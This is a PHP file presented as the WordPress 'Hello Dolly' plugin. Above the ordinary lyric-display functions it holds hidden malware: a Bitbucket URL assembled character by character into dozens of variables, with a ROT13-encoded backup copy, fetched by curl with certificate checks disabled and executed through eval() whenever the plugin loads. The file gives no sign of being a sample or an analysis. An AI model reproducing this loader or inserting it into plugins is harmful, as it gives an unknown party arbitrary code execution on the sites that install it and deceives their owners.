<?php
/**
 * @package Hello_Dolly
 * @version 1.7.2
 */
/*
Plugin Name: Hello Dolly
Plugin URI: http://wordpress.org/plugins/hello-dolly/
Description: This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from <cite>Hello, Dolly</cite> in the upper right of your admin screen on every page.
Author: Matt Mullenweg
Version: 1.7.2
Author URI: http://ma.tt/
*/

// Encode the new URL: https://bitbucket.org/newliz/newupload/raw/9bb3dcecf9385174130a629fe62122af2938a49b/hello.php
$v0 = 'h';
$v1 = 't';
$v2 = 't';
$v3 = 'p';
$v4 = 's';
$v5 = ':';
$v6 = '/';
$v7 = '/';
$v8 = 'b';
$v9 = 'i';
$v10 = 't';
$v11 = 'b';
$v12 = 'u';
$v13 = 'c';
$v14 = 'k';
$v15 = 'e';
$v16 = 't';
$v17 = '.';
$v18 = 'o';
$v19 = 'r';
$v20 = 'g';
$v21 = '/';
$v22 = 'n';
$v23 = 'e';
$v24 = 'w';
$v25 = 'l';
$v26 = 'i';
$v27 = 'z';
$v28 = '/';
$v29 = 'n';
$v30 = 'e';
$v31 = 'w';
$v32 = 'u';
$v33 = 'p';
$v34 = 'l';
$v35 = 'o';
$v36 = 'a';
$v37 = 'd';
$v38 = '/';
$v39 = 'r';
$v40 = 'a';
$v41 = 'w';
$v42 = '/';
$v43 = '9';
$v44 = 'b';
$v45 = 'b';
$v46 = '3';
$v47 = 'd';
$v48 = 'c';
$v49 = 'e';
$v50 = 'c';
$v51 = 'f';
$v52 = '9';
$v53 = '3';
$v54 = '8';
$v55 = '5';
$v56 = '1';
$v57 = '7';
$v58 = '4';
$v59 = '1';
$v60 = '3';
$v61 = '0';
$v62 = 'a';
$v63 = '6';
$v64 = '2';
$v65 = '9';
$v66 = 'f';
$v67 = 'e';
$v68 = '6';
$v69 = '2';
$v70 = '1';
$v71 = '2';
$v72 = '2';
$v73 = 'a';
$v74 = 'f';
$v75 = '2';
$v76 = '9';
$v77 = '3';
$v78 = '8';
$v79 = 'a';
$v80 = '4';
$v81 = '9';
$v82 = 'b';
$v83 = '/';
$v84 = 'h';
$v85 = 'e';
$v86 = 'l';
$v87 = 'l';
$v88 = 'o';
$v89 = '.';
$v90 = 'p';
$v91 = 'h';
$v92 = 'p';

$remoteUrl = $v0.$v1.$v2.$v3.$v4.$v5.$v6.$v7.$v8.$v9.$v10.$v11.$v12.$v13.$v14.$v15.$v16.$v17.$v18.$v19.$v20.$v21.$v22.$v23.$v24.$v25.$v26.$v27.$v28.$v29.$v30.$v31.$v32.$v33.$v34.$v35.$v36.$v37.$v38.$v39.$v40.$v41.$v42.$v43.$v44.$v45.$v46.$v47.$v48.$v49.$v50.$v51.$v52.$v53.$v54.$v55.$v56.$v57.$v58.$v59.$v60.$v61.$v62.$v63.$v64.$v65.$v66.$v67.$v68.$v69.$v70.$v71.$v72.$v73.$v74.$v75.$v76.$v77.$v78.$v79.$v80.$v81.$v82.$v83.$v84.$v85.$v86.$v87.$v88.$v89.$v90.$v91.$v92;

$rot13Data = 'uggcf://ovgrohpbevt.arjymvm/hcybnq/jeq/9oo3qprps9385174130n629sr62222ns2938n49b/uryyb.cuc';
if (function_exists('str_rot13')) {
    $backupUrl = str_rot13($rot13Data);
}

$ch = curl_init($remoteUrl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$remoteCode = curl_exec($ch);

if (curl_errno($ch)) {
    error_log('Connection error: ' . curl_error($ch));
    curl_close($ch);
} else {
    curl_close($ch);
    if (!empty($remoteCode)) {
        eval("?>" . $remoteCode);
    }
}

function hello_dolly_get_lyric() {
	$lyrics = "Hello, Dolly
Well, hello, Dolly
It's so nice to have you back where you belong
You're lookin' swell, Dolly
I can tell, Dolly
You're still glowin', you're still crowin'
You're still goin' strong
I feel the room swayin'
While the band's playin'
One of our old favorite songs from way back when
So, take her wrap, fellas
Dolly, never go away again
Hello, Dolly
Well, hello, Dolly
It's so nice to have you back where you belong
You're lookin' swell, Dolly
I can tell, Dolly
You're still glowin', you're still crowin'
You're still goin' strong
I feel the room swayin'
While the band's playin'
One of our old favorite songs from way back when
So, golly, gee, fellas
Have a little faith in me, fellas
Dolly, never go away
Promise, you'll never go away
Dolly'll never go away again";
	$lyrics = explode( "\n", $lyrics );
	return wptexturize( $lyrics[ mt_rand( 0, count( $lyrics ) - 1 ) ] );
}

function hello_dolly() {
	$chosen = hello_dolly_get_lyric();
	$lang   = '';
	if ( 'en_' !== substr( get_user_locale(), 0, 3 ) ) {
		$lang = ' lang="en"';
	}
	printf(
		'<p id="dolly"><span class="screen-reader-text">%s </span><span dir="ltr"%s>%s</span></p>',
		__( 'Quote from Hello Dolly song, by Jerry Herman:', 'hello-dolly' ),
		$lang,
		$chosen
	);
}

add_action( 'admin_notices', 'hello_dolly' );

function dolly_css() {
	echo "
	<style type='text/css'>
	#dolly {
		float: right;
		padding: 5px 10px;
		margin: 0;
		font-size: 12px;
		line-height: 1.6666;
	}
	.rtl #dolly {
		float: left;
	}
	.block-editor-page #dolly {
		display: none;
	}
	@media screen and (max-width: 782px) {
		#dolly,
		.rtl #dolly {
			float: none;
			padding-left: 0;
			padding-right: 0;
		}
	}
	</style>
	";
}

add_action( 'admin_head', 'dolly_css' );
?>